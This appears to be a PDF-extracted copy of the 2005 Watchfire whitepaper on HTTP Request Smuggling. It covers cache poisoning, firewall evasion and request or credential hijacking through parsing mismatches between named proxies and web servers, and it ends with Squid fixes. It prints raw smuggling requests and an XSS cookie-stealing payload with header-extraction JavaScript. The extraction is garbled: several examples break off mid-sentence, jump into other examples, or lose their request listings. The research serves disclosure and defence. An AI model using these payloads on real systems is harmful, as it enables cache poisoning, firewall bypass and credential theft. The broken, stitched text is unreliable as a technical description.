HTTP Request Smuggling
HTTP Request Smuggling
CHAIM LINHART ([email protected]) AMIT KLEIN ([email protected]) RONEN HELED AND STEVE ORRIN ([email protected])
A whitepaper from Watchfire
TABLE OF CONTENTS
Abstract ............................................................................................................................. 1 Executive Summary ........................................................................................................ 1 What is HTTP Request Smuggling?............................................................................ 2 What damage can HRS inflict?..................................................................................... 2 Example #1: Web Cache Poisoning ............................................................................. 4 Example #2: Firewall/IPS/IDS evasion ....................................................................... 5 Example #3: Forward vs. backward HRS ................................................................... 7 Example #4: Request Hijacking ................................................................................... 9 Example #5: Request Credential Hijacking............................................................. 10 HRS techniques............................................................................................................. 10 Protecting your site against HRS ............................................................................... 19 Squid ............................................................................................................................... 19 Check Point FW-1.......................................................................................................... 19 Final note regarding solutions.................................................................................... 19 About Watchfire ............................................................................................................ 20 References....................................................................................................................... 21
Copyright 2005 Watchfire Corporation. All Rights Reserved. Watchfire, WebCPO, WebXM, WebQA, Watchfire Enterprise Solution, WebXACT, Linkbot, Macrobot, Metabot, Bobby, Sanctum, AppScan, the Sanctum Logo, the Bobby Logo and the Flame Logo are trademarks or registered trademarks of Watchfire Corporation. GmezPro is a trademark of Gmez, Inc., used under license. All other products, company names, and logos are trademarks or registered trademarks of their respective owners. Except as expressly agreed by Watchfire in writing, Watchfire makes no representation about the suitability and/or accuracy of the information published in this whitepaper. In no event shall Watchfire be liable for any direct, indirect, incidental, special or consequential damages, or damages for loss of profits, revenue, data or use, incurred by you or any third party, arising from your access to, or use of, the information published in this whitepaper, for a particular purpose. www.watchfire.com
ABSTRACT
This document summarizes our work on HTTP Request Smuggling, a new attack technique that has recently emerged. We'll describe this technique and explain when it can work and the damage it can do. This paper assumes the reader is familiar with the basics of HTTP. If not, the reader is referred to the HTTP/1.1 RFC [4].
EXECUTIVE SUMMARY
We describe a new web entity attack technique HTTP Request Smuggling. This attack technique, and the derived attacks, are relevant to most web environments and are the result of an HTTP server or devices failure to properly handle malformed inbound HTTP requests. HTTP Request Smuggling works by taking advantage of the discrepancies in parsing when one or more HTTP devices/entities (e.g. cache server, proxy server, web application firewall, etc.) are in the data flow between the user and the web server. HTTP Request Smuggling enables various attacks web cache poisoning, session hijacking, cross-site scripting and most importantly, the ability to bypass web application firewall protection. It sends multiple specially-crafted HTTP requests that cause the two attacked entities to see two different sets of requests, allowing the hacker to smuggle a request to one device without the other device being aware of it. In the web cache poisoning attack, this smuggled request will trick the cache server into unintentionally associating a URL to another URLs page (content), and caching this content for the URL. In the web application firewall attack, the smuggled request can be a worm (like Nimda or Code Red) or buffer overflow attack targeting the web server. Finally, because HTTP Request Smuggling enables the attacker to insert or sneak a request into the flow, it allows the attacker to manipulate the web servers request/response sequencing which can allow for credential hijacking and other malicious outcomes.
EXAMPLE #1: WEB CACHE POISONING (HTTP REQUEST SMUGGLING THROUGH A WEB CACHE SERVER)
Our first example demonstrates a classic HRS attack. Suppose a POST request contains two "ContentLength" headers with conflicting values. Some servers (e.g., IIS and Apache) reject such a request, but it turns out that others choose to ignore the problematic header. Which of the two headers is the problematic one? Fortunately for the attacker, different servers choose different answers. For example, SunONE W/S 6.1 (SP1) uses the first "Content-Length" header, while SunONE Proxy 3.6 (SP4) takes the second header (notice that both applications are from the SunONE family). Let SITE be the DNS name of the SunONE W/S behind the SunONE Proxy. Suppose that "/poison.html" is a static (cacheable) HTML page on the W/S. Here's the HRS attack that exploits the inconsistency between the two servers:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
POST http://SITE/foobar.html HTTP/1.1 Host: SITE Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 0 Content-Length: 44 [CRLF] GET /poison.html HTTP/1.1 Host: SITE Bla: [space after the "Bla:", but no CRLF] GET http://SITE/page_to_poison.html HTTP/1.1 Host: SITE Connection: Keep-Alive [CRLF]
[Note that each line terminates with a CRLF ("\r\n"), except for line 10.] Let's examine what happens when this request is sent to the W/S via the proxy server. First, the proxy parses the POST request in lines 1-7 (in blue), and encounters the two "Content-Length" headers. As we mentioned earlier, it decides to ignore the first header, so it assumes the request has a body of length 44 bytes. Therefore, it treats the data in lines 8-10 as the first request's body (lines 8-10, in purple, contain exactly 44 bytes). The proxy then parses lines 11-14 (in red), which it treats as the client's second request. Now let's see how the W/S interprets the same payload, once it has been forwarded to it by the proxy. Unlike the proxy, the W/S uses the first "Content-Length" header: as far as it's concerned, the first POST request has no body, and the second request is the GET in line 8 (notice that the GET in line 11 is parsed by the W/S as the value of the "Bla" header in line 10). To summarize, this is how the data is partitioned by the two servers:
1st request lines 1-10 lines 1-7 2nd request lines 11-14 lines 8-14
Next, let's see which responses are sent back to the client. The requests the W/S sees are "POST /foobar.html" (from line 1) and "GET /poison.html" (from line 8), so it sends back two responses with the contents of the "foobar.html" page and the poison.html page, respectively. The proxy matches these
[Note that each line terminates with a CRLF ("\r\n"), except for line 12.] We shall now analyze how this packet is parsed by FW-1 and by IIS/5.0. Since the first request has a content-length of 49,223 bytes, FW-1 treats line 6 (49,152 copies of "z") and lines 7-10 (in purple, total of 71 bytes) as its body (49,152+71=49,223). FW-1 then continues to parse the second request at line 11. Notice that there is no CRLF after the "Bla: " in line 12, so the POST in line 13 is parsed as the value of the "Bla:" header, and the request ends at line 15. Thus, although line 13 contains the pattern identified with the Nimda worm ("cmd.exe"), it is not blocked, since it is considered part of a header value, not a URL (and neither part of a body, to which some security checks are also applied). Therefore, we smuggled "cmd.exe" through the scrutiny of FW-1. To complete our hack, we need to show that line 13 is parsed as a request line by IIS/5.0 (i.e., the string "/page.asp?cmd.exe" is served as a URL). Let's follow IIS/5.0's parser from line 1: the first request is a POST request for an .asp page, but it does not have the expected "Content-Type: application/x-www-form-urlencoded" header. Thus, IIS/5.0 wrongly terminates the body after 49,152 bytes, and starts parsing the second request from line 7. This request has a content-length of 30 bytes, which is exactly the length of lines 11-12 (i.e., these lines comprise the body of the 2nd request). Finally, lines 13-15 are parsed as the third request, meaning that we managed to smuggle the "cmd.exe" worm through FW-1 to IIS/5.0! The table below summarizes how each server parses the packet: 1st request lines 1-10 lines 1-6 2nd request lines 11-15 lines 7-12 3rd request lines 13-15
The above 48K smuggling trick can be used to bypass other features of Web Intelligence, not just the worm catcher, such as directory traversal, maximum URL length, XSS, URI resource and command injection.
The "..." stands for various headers and/or body data. In the two examples we provided, the W/S saw requests req1 and req2, whereas the cache/firewall saw requests req1 and req3. Request req2 was smuggled to the W/S. This type of smuggling is called forward smuggling. The reader can now deduce that there is also backward smuggling. The difference is that in backward smuggling, the W/S sees requests req1 and req3, and the cache/firewall sees req1 and req2, shown as follows:
1 2 3 4 5 6
GET /req1 HTTP/1.0 ... GET /req2 HTTP/1.0 ... GET /req3 HTTP/1.0 ...
<-- seen by W/S and cache <-- seen by cache <-- seen by W/S
In backward smuggling, request req3 is smuggled to the W/S. This type of HRS is more difficult to develop, since it is possible only in cases where the W/S replies to the first request before it receives the entire request. Typically, the cache server does not forward the req2 to the W/S before it gets a response for the first request. Since the W/S thinks request req2 is part of the first request, it usually will not respond before the cache server sends it req2. The result is potential a deadlock. However, as the following example demonstrates, this is not always the case. The following works for the DeleGate/8.9.2 cache server and IIS/6.0 or Tomcat or SunONE web-server/6.1: This time, the trick is to send a GET request with a "Content-Length: n" header. DeleGate assumes the content-length of GET requests is always 0 (i.e., they have no body), but fortunately for us it still sends the original "Content-Length: n" header. The W/S, on the other hand, treats the request as having a body of length n, though it sends the response before receiving the body, which makes backward smuggling possible in this case. Here's the full attack (again, we assume that SITE is the W/S's DNS name, and "/poison.html" is a static cacheable HTML page on the W/S):
1 2 3 4 5 6 7 8 9 10 GET http://SITE/foobar.html HTTP/1.1 Connection: Keep-Alive Host: SITE Content-Type: application/x-www-form-urlencoded Content-Length: 40 [CRLF] GET http://SITE/page_to_poison.html HTTP/1.1 Bla: [space after the "Bla:", but no CRLF] GET /poison.html HTTP/1.0 [CRLF]
[Again, each line terminates with a CRLF ("\r\n"), except for line 8.]
EXAMPLE #4: REQUEST HIJACKING (HTTP REQUEST SMUGGLING THROUGH A PROXY SERVER)
The request smuggling technique can be modified to achieve a slightly different goal: an attacker can exploit a security problem in the site (a script/page that is vulnerable to cross site scripting) to mount an attack similar to XSS. This attack is generally more powerful than XSS because: 1. It does not require the attacker to interact with the client in any way. 2. The HttpOnly cookies and the HTTP authentication information can be stolen directly (no need to have support for TRACE in the server) thereby making this attack worse than a cross-site tracing attack [5]. There are some differences in the preconditions between Request Hijacking and the basic request smuggling discussed earlier: 1. Request hijacking requires the intermediate device (proxy server) to share client connections to the server (unlike web cache poisoning, request hijacking does not require the proxy server to be caching). 2. Request hijacking requires an XSS vulnerability in the web server. Assume that /vuln_page.jsp is known to be vulnerable to XSS in the "data" parameter. Consider the following attack:
1 2 3 4 5 6 7 8 9 10 11 POST /some_script.jsp HTTP/1.0 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 9 Content-Length: 204 this=thatPOST /vuln_page.jsp HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 95 param1=value1&data=<script>alert("stealing%20your%20data:"% 2bdocument.cookie)</script>&foobar=
Notice that the client will receive an HTML page with malicious Javascript code in it:
<script>alert("stealing your data:"+document.cookie)</script>
But this only demonstrates how malicious Javascript can be run on the client's browser. It does not demonstrate that HttpOnly cookies and HTTP authentication information can be stolen. For that, some additional tricks are needed. As can be seen, the attacker's request directly precedes that of the victims. Since the victim's request typically contains the data the attacker needs in the HTTP headers, the attacker can carefully compute the Content-Length to contain this data inside the data which is echoed back to the HTML stream. Once this data is in the response page, the following Javascript code can extract it (note that it used the window onload event to execute after all the page is loaded, and that it iterates over all textNodes and concatenates them into a single string, whose prefix is of interest to the attacker):
window.onload=function() { str=""; for(i=0;i<document.all.length;i++) { for(j=0;j<document.all(i).childNodes.length;j++) { if(document.all(i).childNodes(j).nodeType==3) { str+=document.all(i).childNodes(j).data; } } } alert(str.substr(0,300));
Thus, the attacker needs only to slightly modify the attack into the following:
POST /some_script.jsp HTTP/1.0 Connection: Keep-Alive
Notice that only 277 bytes are provided in the incomplete HTTP request, so it will consume the first 300 (an arbitrary number, per the attackers choice) bytes from the victim's request, and echo them back into the HTML response stream that will be provided to the client. Once this stream arrives at the client's browser, the malicious Javascript code will be executed and it will crop up those 300 bytes from the HTML page and send them to the attacker. These first 300 bytes typically contain HTTP request headers such as Cookie (containing the client's cookies) and Authorization (containing the client's HTTP authentication credentials), together with the URL the client requested (that may contain sensitive information as well, including URL session tokens and sensitive information posted by the victim).
EXAMPLE #5: REQUEST CREDENTIAL HIJACKING (HTTP REQUEST SMUGGLING THROUGH A PROXY SERVER)
Another area of interest is the ability of the attacker to forcefully invoke a script (/some_page.jsp) with a client credentials. This attack is similar in effect to the Cross-Site Request Forgery attack [6], yet it is more powerful because the attacker is not required to interact with the client (victim). The attack is as follows:
POST /some_script.jsp HTTP/1.0 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 9 Content-Length: 142 this=thatGET /some_page.jsp?param1=value1¶m2=value2 HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 0 Foobar:
Tomcat will glue this to the queued incomplete request, and together, it will have:
GET /some_page.jsp?param1=value1¶m2=value2 HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 0 Foobar: GET /mypage.jsp HTTP/1.0
Now a complete request, it will invoke the script /some_page.jsp and return its results to the client. If this script is a password change request, or a money transfer to the attacker's account, then this may potentially incur serious damage to the client.
HRS TECHNIQUES
So far, we have seen (and exploited) 3 anomalies in HTTP request parsing: 1. Two different Content-Length headers (examples #1, #4 and #5) 2. GET request with Content-Length (example #3) 3. The 48KB anomaly in IIS/5.0 (example #2) There are several more such anomalies that we found effective. In most cases, a pair of a proxy/cache/firewall server and a web server can be attacked using one or more techniques, but usually not all techniques apply to a given pair. Below, we list the anomalies (and techniques) for HRS with the pairs that we found vulnerable to them. Note that these are partial results (i.e., for many techniques, we didnt test all pairs). This means that there are likely to be many more pairs that are vulnerable to HRS than what we show below. 1. Double Content-Length header The anomaly in this case is obvious the attacker sends a request with two Content-Length headers2. If the cache server and the web server do not use the same header, then HRS is possible. a. The cache server uses the last Content-Length header, while the web server uses the first Content-Length header (examples #1, #4 and #5). The following cache servers were observed to use the last Content-Length header: Microsoft ISA/2000 Sun Microsystems SunONE 3.6 SP4 The following web servers were observed to use the first Content-Length header: Jakarta Tomcat 5.0.19 (Coyote/1.1) Tomcat 4.1.24 (Coyote/1.0) Sun Microsystems SunONE web server 6.1 SP1 All 6 combinations of cache servers (2) and web servers (3) were tested, and all were shown to be vulnerable to the attack. Of particular interest is the combination of Sun Microsystems SunONE 3.6 SP4 proxy server with the same vendors SunONE web server 6.1 SP1. b. As a variant of 1a, in some cases a forward smuggling attack fails, and only a backward smuggling attack is feasible. This is the case with a popular commercial cache appliance (whose identity we are prevented from disclosing; denoted here as PCCA) and Jakarta Tomcat 5.0.19 (Coyote/1.1). While PCCA does indeed use the last Content-Length header, it will forward
2 HTTP/1.1 does not allow two Content-Length headers (as can be understood from [4] section 4.2 since Content-Length is not defined to have a list of values).
10
PCCA uses the last Content-Length header (line 3), and therefore forwards lines 1-5 to the server (Tomcat). Tomcat parses the request, uses the first Content-Length header (line 2), and thus expects 71 more bytes. However, since the resource requested (/static_foobar.html) is a static one, Tomcat also immediately returns the page to PCCA. PCCA forwards this response to the attacker and sends the next request it interprets from the input stream in this case, lines 6-10 (a request for /page_to_poison.html). Now Tomcat consumes 71 bytes (lines 6-8, but notice that PCCA strips the http://SITE from line 6 when forwarding it to the web server), and thus Tomcat sees the second request as lines 9-10. Therefore, Tomcat responds with the content of poison.html. This is matched by PCCA to the request of page_to_poison.html, and the poisoning is complete. c. The cache server uses the first Content-Length header, while the web server uses the last Content-Length header. The following cache servers were observed to use the first ContentLength header: Squid 2.5stable4 (Unix) Squid 2.5stable5 (NT port) Oracle WebCache 9.0.2 The following web server was observed to use the last Content-Length header:
11
All three combinations were tested and shown vulnerable to the HRS attack. 2. A request with both Transfer-Encoding: chunked header and a Content-Length: header Apache 2.0.45 was found to react interestingly to this anomaly. A request which arrives with both headers is assumed to have a chunked-encoded body.3 This body is read in full by Apache, which reassembles it into a regular (non-chunked) request. For some reason, Apache does not add its own Content-Length header, nor does it replace an existing Content-Length header (if there is one). The net result is that the request is forwarded with the original Content-Length header (if there is one), without the Transfer-Encoding: chunked header, and with a body which is the aggregation of all the body chunks in the original request. Obviously, this phenomenon may lend itself to request smuggling by sending a Content-Length: 0 header and a chunked body containing the smuggled HTTP request. The attack was shown to succeed with Apache 2.0.45 and the following web servers: Microsoft IIS/6.0 and 5.0 Apache 2.0.45 (as a web server) and Apache 1.3.29 Jakarta Tomcat 5.0.19 (Coyote/1.1), Tomcat 4.1.24 (Coyote/1.0) IBM WebSphere 5.1 and WebSphere 5.0 BEA Systems WebLogic 8.1 SP1 Oracle9iAS 9.0.2 Sun Microsystems SunONE web server 6.1 SP1 It should be noted that Apaches behavior is quite bizarre, since the request it creates by default lacks the Content-Length header, and thus will cause problems in most web servers (which assume Content-Length 0 in such case). That is, when a normal request with Transfer-Encoding: chunked is sent through Apache, it will arrive to the web server as a request with normal body, but without Content-Length, which will cause most web servers to ignore the body altogether. 3. The Double CR in an HTTP header technique (and the header SP technique) This technique exploits an anomaly in HTTP request parsing. A header line of a single CR, followed by a CRLF sequence is treated by some entities as an HTTP header line, while other entities treat this as the end of headers marker.4 In order to turn this technique into a successful attack, we need to make use of another technique. Here, we make use of the header SP anomaly. The header SP technique can be used to exploit the different ways some entities treat HTTP headers that have spaces between the header name and the colon character. Some entities treat foo SP : as a header named foo, while others treat it as a header named foo (foo appended with SP). The attack we describe below will make use of both techniques.
3 HTTP/1.1 does not allow a request with both Content-Length and Content-Encoding: chunked, see [4] section 4.4 Messages MUST NOT include both a Content-Length header field and a non-identity transfer-coding. 4 HTTP/1.1 does not allow such header lines in HTTP requests (see [4] section 4.2 a line starting with CR does not match the format of messageheader).
12
Where N is the length of the request for http://SITE/page_to_poison.html forwarded by PCCA (lines 8-9), as experienced by the web server. PCCA will treat lines 1-7 as the first request. It is a GET request with Content-Length 0 (note that PCCA parses two Content-Length headers: one in line 5, and one in line 6. The header of line 6, which incorporates the header SP technique is non-standard because theres an additional SP after the header name. However PCCA still treats this line as a Content-Length header.5 Since PCCA uses the last value, it uses Content-Length 0 in this case). Therefore, PCCA basically sends lines 1-7 as a single HTTP request to the web server. Note that PCCA changes the CR CRLF into CR CR CRLF. This doesnt affect the attack. IIS/5.0 parses this as a first request (lines 1-3), followed by a partial second request (lines 4-7). The first request is terminated by CRLF CR CR CRLF. An interesting behavior of IIS/5.0 is that it scans the next datum on the TCP connection in an attempt to interpret it as an HTTP header. Thus, if in the next 2048 bytes it finds a colon character, then the CRLF CR CR CRLF sequence is not treated as the end of headers mark. That is why we need the 2048 a padding. Since this issue is taken care of, and IIS does not see a colon in the buffer, it treats lines 4-7 as a new HTTP request (it, of course, sends back the response to the first request). Lines 4-7 are interpreted as a GET request with Content-Length N (line 6 is ignored since IIS does not treat Content-Length followed by SP as a Content-Length header6). Now, IIS waits for the request to complete. Back at the PCCA, the response for the first GET request was received, and thus PCCA can forward the next request as it understands it (for page_to_poison.html), namely lines 8-9.
5 A header name followed by SP is not allowed in HTTP/1.1 (see [4] section 4.2 a field name is a token, which may not contain SP). Also, as an HTTP request header (i.e. as understood by PCCA), line 4 is illegal (again, see [4] section 4.2 a field name is a token, which may not contain SP). 6 A header name followed by SP is not allowed in HTTP/1.1 (see [4] section 4.2 a field name is a token, which may not contain SP).
13
DeleGate assumes that the GET request does not have a body. Therefore, it transmits lines 1-6 as a complete request to the W/S. The W/S serves back /static_foobar.html, but also waits for the request to complete (i.e., for additional 40 bytes to be sent by DeleGate). Having seen the first response, DeleGate now reads the next request from the client, which are lines 7-9. It forwards this to the W/S. The W/S reads the first 40 bytes and silently discards them. These first 40 bytes are exactly GET /page_to_poison.html HTTP/1.1 CRLF Foo:, which the proxy forwards to the W/S at the beginning of the second request. Therefore, the W/S will discard this and read the second request as GET /poison.html. This page will be returned to DeleGate, so DeleGate will see the contents of /poison.html in response to a request for /page_to_poison.html.
7 The HTTP/1.1 RFC is a bit unclear regarding whether it is indeed allowed to send a GET request with a body (see [4] section 4.3, and section 9.3). However, it is does specify the need to read the body of any request, see [4] section 4.3 A server SHOULD read and forward a message-body on any request; if the request method does not include defined semantics for an entity-body, then the message-body SHOULD be ignored when handling the request.
14
FW-1 will send lines 1-6 to the web server (IIS/5.0). It will treat line 4 as a continuation of line 3, and will treat line 5 as an HTTP request header of the request.9 Since FW-1 does not apply its signature tests to HTTP headers, it will miss strings such as cmd.exe in this line (i.e., the worm catcher feature, the XSS signatures and the SQL injection signatures will not be tested on this data). IIS/5.0 will interpret this input as two requests: lines 1-4 are the first request (a POST request with zero length body which is terminated by a CRLF SP CRLF sequence), and lines 5-6 are the second request (GET request, with a malicious URL). Therefore, FW-1s defenses (e.g., worm catcher, XSS and SQL injection defenses) will not prevent URLs in the second request to arrive at the web server. b. An attack variant that requires some padding: Squid (we tested Squid 2.4stable7, 2.5stable4 and 2.5stable5 for NT) treats CRLF SP CRLF as a continuation. However, Squid also mandates that HTTP request headers contain the colon character (otherwise, the whole request is rejected). Therefore, the line immediately following
8 HTTP/1.1 defines header line continuation in [4] section 2.2: HTTP/1.1 header field values can be folded onto multiple lines if the continuation line begins with a space or horizontal tab. 9 Although HTTP does not allow such headers, because a space character cannot be a part of a header name (token), see [4] section 4.2.
15
Squid sends lines 1-6 as a single request to the web server (IIS). Note that line 4 is a valid header, according to Squid,10 because it contains a colon character. IIS interprets the data as two requests lines 1-3 are the first request, terminated by a CRLF SP CRLF sequence, which is not followed by a header line (as interpreted by IIS, that is, the few thousand bytes right after the CRLF SP CRLF do not contain the colon character). This request is serviced by IIS and the response is returned to Squid. Next, Squid sends lines 7-8, but IIS now serves back the response of lines 4-6. Therefore, Squid matches the content of /poison.html to the request URL of /page_to_poison.html. There are some delicate points: The attack sequence must be preceded by a request to some arbitrary resource with Connection: Keep-Alive header. This header signals to IIS that the connection is persistent. It is ineffective to add this header to the first request (e.g., between lines 1 and 2), because Squid re-orders the HTTP headers and sends the Connection header among the last ones (i.e., after line 4). In such a case, IIS will see a first HTTP/1.0 request on a fresh TCP connection without a Connection: Keep-Alive header, and will assume that the connection is not persistent. This will disable the attack. There are some timing constraints involved. Squid should see the second IIS response only after sending what it interprets as the second request (lines 7-8). Therefore, this attack may need to be repeated several times until the events take place in the correct order and the poisoning succeeds. 6. The IIS/5.0 premature termination of requests whose body length is > 48KB As hinted in the name, IIS/5.0 behaves in a very non-standard way in some cases. Particularly, a request with a large (>48KB) body (e.g., a POST with a valid body and a Content-Length header indicating the length of this body) without Content-Type request header will be treated as a request whose body size is 48KB (49152). After 49152 bytes of the body, IIS/5.0 will terminate the request, and start parsing a new request. This makes it very easy to smuggle requests to IIS/5.0, because this behavior is non-standard and counter-RFC (and most likely, very little known).
10
Although HTTP does not allow such headers, because a space character cannot be a part of a header name (token), see [4] section 4.2.
16
We managed to poison the cache of Squid (2.5stable5 for NT), Apache 2.0.45 and ISA/2000. We also managed to bypass the protection of FW-1. Attack example (for web cache poisoning):
1 2 3 4 5 6 7 8 9 10 11 POST http://SITE/dynamic_foobar.asp HTTP/1.1 Host: SITE Connection: keep-alive Content-Length: 49181 AAAAA AAAA[49150 times] GET /poison.html HTTP/1.0 GET http://SITE/page_to_poison.html HTTP/1.1 Host: SITE
The cache server forwards lines 1- 8 to the web server. Note that the Content-Length (line 4) covers exactly the padding in line 6 (49150 bytes) plus CRLF at the end of line 6, plus lines 7 and 8 (each with a CRLF). IIS/5.0 reads lines 1-6 as a first request (terminating the body after 49152 bytes, which is exactly at the beginning of line 7) followed by a second request (lines 7-8). It sends a response to the first request to the cache server. The cache server now sends the second request (/page_to_poison.html), lines 9-11. IIS/5.0 processes the second response (lines 7-8) and sends back the content of /poison.html. The cache server receives the content of /poison.html in response to a request for /page_to_poison.html. Example (bypassing FW-1, see also example #2)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /dynamic_page1.asp HTTP/1.1 Host: SITE Connection: keep-alive Content-Length: 49230 AAAAA AAAA[49150 times] POST /dynamic_page2.asp HTTP/1.0 Connection: Keep-Alive Content-Length: 35 POST /dynamic_page3 HTTP/1.0 Bla: GET /malicious_url HTTP/1.0 GET /some_page HTTP/1.0
FW-1 forwards the first request (lines 1-10) to IIS/5.0. IIS/5.0 reads lines 1-6 as a first, complete request. It sends the response back to FW-1. It then reads lines 7-10 as a second, incomplete request (the body has not yet arrived). FW-1 forwards the response from IIS to the attacker and sends lines 11-13 as a second request. Note that the offending data at line 12 is part of an HTTP request header (as parsed by FW-1), and thus does not trigger any detection/protection mechanism in FW-1.
17
IIS/5.0 receives line 11 and the first 5 bytes of line 12 as the body of the second request and responds to the second request. FW-1 receives this response and sends the third request, lines 14-15 to IIS/5.0. IIS/5.0 now sends the third response to the third request (lines 12-13), which in fact, are the results of the query to /malicious_url. Conclusion: We have seen that there are many pairs (proxy/firewall servers and web servers) of vulnerable systems. Particularly, we demonstrated that the following pairs are vulnerable: PCCA o IIS/5.0 o Tomcat 5.0.19 (probably with Tomcat 4.1.x as well) Squid 2.5stable4 (Unix) and Squid 2.5stable5 for NT o IIS/5.0 o WebLogic 8.1 SP1 Apache 2.0.45 o IIS/5.0 o IS/6.0 o Apache 1.3.29 o Apache 2.0.45 o WebSphere 5.1 and 5.0 o WebLogic 8.1 SP1 o Oracle9iAS web server 9.0.2 o SunONE web server 6.1 SP4 ISA/2000 o IIS/5.0 o Tomcat 5.0.19 o Tomcat 4.1.24 o SunONE web server 6.1 SP4 DeleGate 8.9.2 o IIS/6.0 o Tomcat 5.0.19 o Tomcat 4.1.24 o SunONE web server 6.1 SP4 Oracle9iAS cache server 9.0.2 o WebLogic 8.1 SP1 SunONE proxy server 3.6 SP4 o Tomcat 5.0.19 o Tomcat 4.1.24 o SunONE web server 6.1 SP4 FW-1 Web Intelligence kernel 55W beta (the IIS 48K technique probably works with R55W) o IIS/5.0
This is a partial list there are many pairs we did not test and there are likely many other web servers and cache servers we did not test for lack of hardware and software. Of course, there are probably many more similar techniques.
18
SQUID
To our best knowledge, the issues raised have been addressed in Squid wherever possible, and the patches have begun to be distributed among the vendors shipping Squid products. See Squids advisory SQUID2005:4 (http://www.squid-cache.org/Advisories/SQUID-2005_4.txt), as well as: http://www.squid-cache.org/Versions/v2/2.5/bugs/#squid-2.5.STABLE7-header_parsing http://www.squid-cache.org/Versions/v2/2.5/bugs/#squid-2.5.STABLE7-response_splitting http://www.squid-cache.org/Versions/v2/2.5/bugs/#squid-2.5.STABLE8-relaxed_header_parser The recommended Squid version incorporating all these changes is Squid-2.5.STABLE9. It is also suggested for Squid to disable persistent connections: client_persistent_connections off server_persistent_connections off Squid in its default setting is quite relaxed about these things, only rejecting known harmful characters and working around a lot of harmless ones. It can be tuned at runtime, however, via the relaxed_header_parser directive to turn off all workarounds, making the HTTP parser quite strict on both request and replies.
19
ABOUT WATCHFIRE
Watchfire provides software and services to manage online risk. More than 250 enterprise organizations and government agencies, including AXA Financial, SunTrust, Nationwide Building Society, Boots PLC, Veterans Affairs and Dell, rely on Watchfire to monitor, manage, improve and secure all aspects of the online business including security, privacy, quality, accessibility, corporate standards and regulatory compliance. Watchfire's alliance and technology partners include IBM Global Services, PricewaterhouseCoopers, TRUSTe, Microsoft, Interwoven, EMC Documentum and Mercury Interactive. Watchfire is headquartered in Waltham, MA. For more information, please visit www.watchfire.com.
20
REFERENCES
[1] A. Klein, "Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics." Sanctum White Paper, March 2004. http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf [2] 3APA3A, Bypassing Content Filtering Whitepaper, February 2002 (original paper date. The paper was last revised August 2004). http://www.security.nnov.ru/advisories/content.asp [3] Rain Forest Puppy, "A look at whisker's anti-IDS tactics," December 1999. http://www.ussrback.com/docs/papers/IDS/whiskerids.html [4] J. Gettys, R. Fielding, J. Mogul, H. Frystyk, L. Masinter, P. Leach, and T. Berners-Lee, "Hypertext Transfer Protocol - HTTP/1.1." RFC 2616, June 1999. http://www.w3.org/Protocols/rfc2616/rfc2616 [5] J. Grossman, "Cross Site Tracing (XST)." WhiteHat Security White Paper, January 2003. http://www.cgisecurity.net/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf [6] P. Watkins, "Cross Site Request Forgeries (CSRF)," BugTraq posting, June 2001. http://www.securityfocus.com/archive/1/191390 [7] CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests. February 2000. http://www.cert.org/advisories/CA-2000-02.html [8] A. Klein, Cross Site Scripting Explained. Sanctum White Paper, May 2002. http://crypto.stanford.edu/cs155/CSS.pdf
21